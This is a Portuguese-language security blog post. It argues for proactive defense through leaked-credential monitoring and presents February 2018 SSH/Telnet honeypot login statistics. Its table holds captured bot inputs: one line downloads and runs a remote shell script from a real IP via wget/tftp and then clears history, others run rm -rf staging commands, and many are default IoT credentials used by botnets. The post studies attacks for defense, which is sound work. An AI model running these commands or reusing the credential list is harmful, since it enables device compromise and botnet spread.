A melhor defesa é ter uma defesa melhor

O título do post parece acidental ou tautológico, mas vamos falar sobre a necessidade de aprimorar medidas defensivas através da proatividade.

Há um volume de dados quase inacreditável de novos vazamento de senhas. Diariamente surgem listas de senhas vazadas em sites como o pastebin.compastebin.ca ou de compartilhamento de arquivos na Web ou na Deep Web. Nosso Sistema de Monitoramento Avançado Persistente detecta e processa continuamente esse tipo incidente. Um desses casos já foi inclusive relatado aqui no Lab como a divulgação de credencias de acesso do governo de Roraima.

Se tomarmos fontes abertas como referência, esse artigo da Fortune – que utiliza dados da SplashData – informa que as 25 senhas mais comuns representam mais de 10% do total da amostragem, sendo que a senha mais comum em 2017 foi “123456” (sozinha representa certa de 3% do total).

É certo que elementos maliciosos, conhecidos pela criatividade em seu modus operandi, se valem dessas listas de senhas vazadas para conduzir ataques cibernéticos.

Defesa proativa

Uma defesa proativa monitora os vazamentos de credenciais de seus usuários a despeito da origem do incidente, pois como demonstramos seu usuário pode usar ativos institucionais para fins pessoais e isso pode ser utilizado contra vocês (p.ex. compartilhamento de senhas). Detectar e notificar os usuários quando são vítimas desse tipo de divulgação indesejada previne ataques que explorem a credencial vazada e conscientiza seu usuário sobre o grau de exposição dele. Algumas das funcionalidades do sistema de Monitoramento Avançado Persistente tem por objetivo detectar vazamentos de credenciais.

Outra iniciativa de uma defesa proativa é observar o comportamento dos seus atacantes e orientar medidas defensivas de acordo com as suas características. Mas como observar de forma sistemática a tentativa de acesso a serviços legítimos por quebra de credencial de acesso? A senha não é persistida em log, por razões óbvias de privacidade dos usuários. Então, como analisar o comportamento do atacante que tenta o acesso indevido? Como saber o seu objeto de interesse depois de conseguir o acesso?

Uma ótima solução são os honeypots de média ou de alta interação.

A DefCon-Lab dispõe de honeypots em funcionamento e apresenta a seguir os dados referentes ao mês de fevereiro de 2018 para os serviços SSH (porta 22) e Telnet (porta 23). No período, o sensor em questão coletou em torno de 4.7 milhões de registros, o que corresponde a aproximadamente duas tentativas de login por segundo.

Esse volume de registros coletados indica que o “atacante padrão” faz uso massivo de bots automatizados para tentativa de acesso por meio dessas portas.

Lista dos 50 usuários mais utilizados.

Logo percebemos que alguns registros são nomes de usuário padrão de sistema ou de aplicações. Em outros casos observa-se, na verdade, a tentativa de injeção de código ou de comandos. Exemplos disso são os logins “sh” e o “>/boot/.ptmx && cd /boot”.

 

Lista das 50 senhas mais utilizados.

Assim como nos nomes de usuários tentados com mais frequência saltam aos olhos a tentativa de uso de senha padrão de sistema ou de aplicações e as tentativas de injeção de comando. Vale frisar que observamos algumas ocorrências das top-25 senhas citadas pela Forbes foram observadas no mês de fevereiro.

A tabela a seguir sintetiza as informações anteriores e apresenta as 10 senhas mais utilizadas para os 20 usuários mais recorrentes, esses dados correspondem a aproximadamente 9% de todas as tentativas de login no mês de fevereiro para o sensor em questão.

Total  420.467
Usuário Senha Tentativas Login
admin ! 27.121
admin 19.684
admin 1234 17.765
admin admin 5.095
admin 12345 2.230
admin pass 2.003
admin abc123 1.956
admin admin1234 1.679
admin smcadmin 1.475
admin password 1.447
root root 2.989
root vizxv 2.356
root 123456 2.194
root 12345 2.083
root default 2.062
root pass 2.057
root 1234 1.973
root 54321 1.924
root xc3511 1.838
root anko 1.795
0 34.248
0 0 32.496
0 10
enable shell 56.704
enable system 98
sh /bin/busybox ECCHI 29.299
sh >/tmp/.ptmx && cd /tmp/ 9.531
sh /bin/busybox daddyl33t 9.358
sh /bin/busybox MIORI 878
sh /bin/busybox ASUNA 781
sh shell 520
sh /bin/busybox YBGXD 273
sh cd /tmp/; wget http://80.211.166.115/w.sh; chmod 777 w.sh; sh w.sh; tftp 80.211.166.115 -c get t.sh; chmod 777 t.sh; sh t.sh; rm -rf w.sh t.sh; history -c 117
sh /bin/busybox Fixed 89
sh /bin/busybox REKAI 86
1111 1111 33.382
010101 010101 26.748
enable 17.607
PASSWORD 394
3ascotel 393
private 393
1234 392
ADTRAN 392
Password 392
adtran 392
ascend 392
atc123 392
123 123 16.737
123 123123 2
123 123456 2
123 password 2
system shell 14.277
system manager 393
system password 31
system system 12
system sys 11
system sytem 4
system 1 1
system 123456 1
system a 1
system system123 1
support support 4.162
support 123456 711
support 1234 659
support admin 63
support 58
support qrst 43
support 3500/24 25
support 123 20
support password 19
support pass 12
>/var/.ptmx && cd /var/ >/dev/.ptmx && cd /dev/ 5.336
user user 2.910
user 123456 443
user debug 392
user forgot 390
user pass 35
user 12345 34
user password 32
user 19
user public 12
user pu 9
guest guest 1.089
guest 12345 932
guest 123456 238
guest 230
guest 1111 208
guest friend 191
guest admin 67
guest password 2
guest !@#$%^ 1
guest 123 1
enable\x00 system\x00 2.667
enable\x00 shell\x00 52
enable\x00 rm -rf /tmp/moscow/ /var/moscow/; mkdir /tmp/moscow/ || mkdir /var/moscow/; cd /tmp/moscow/ || cd /var/moscow/ 9
default 782
default default 407
default video 392
default OxhlwSG8 362
default S2fGqNFs 197
default antslq 192
default tlJwpbo6 96
default Oxh1wSG8 16
Administrator admin 622
Administrator 534
Administrator changeme 454
Administrator ggdaseuaimhrke 393
Administrator meinsm 68
Administrator 3ware 54
Administrator password 52
Administrator 3!play 38
Administrator smcadmin 37
Administrator ganteng 36
shell\x00 sh\x00 2.150
mg3500 merlin 1.881
Admin Admin 895
Admin 123456 393
Admin 5up 193
Admin 93
Admin admin 33
Admin smcadmin 33
Admin Password 32
Admin 1234 1
Admin 12345 1
Admin 12345678 1

Conclusão

Quem já teve a curiosidade mórbida de analisar logs de máquinas expostas à internet sabe o volume de probing existente. Os dados do nosso honeypot demonstram por meio de evidências – mais 4.7 milhões de tentativas de acesso a serviços não convencionais como o HTTP ou HTTPS – o uso massivo de bots automatizados pelos agentes maliciosos. Outro aspecto que pode surpreender é que a interface e o módulo de autenticação também podem ser objeto de tentativa de exploração de vulnerabilidade e de injeção de código arbitrário.

A complexidade do ambiente cibernético não mais permite uma postura estritamente defensiva, na qual o defensor se encastela e torce para que o ataque seja detido passivamente. Medidas como a implementação de política de senha (tamanho, complexidade, prazo de validade, etc), limite de quantidade de tentativas de acesso são necessárias, mas não suficientes para evitar o acesso indevido pelo uso de credenciais vazadas.

A defesa deve adotar medidas pró-ativas para complementar suas ações convencionais. A nossa experiência tem demonstrado que monitorar vazamentos e operar honeypots são formas eficientes de aprimorar a sua condição defensiva. São formas de se aprender com seu oponente jogando o jogo deles.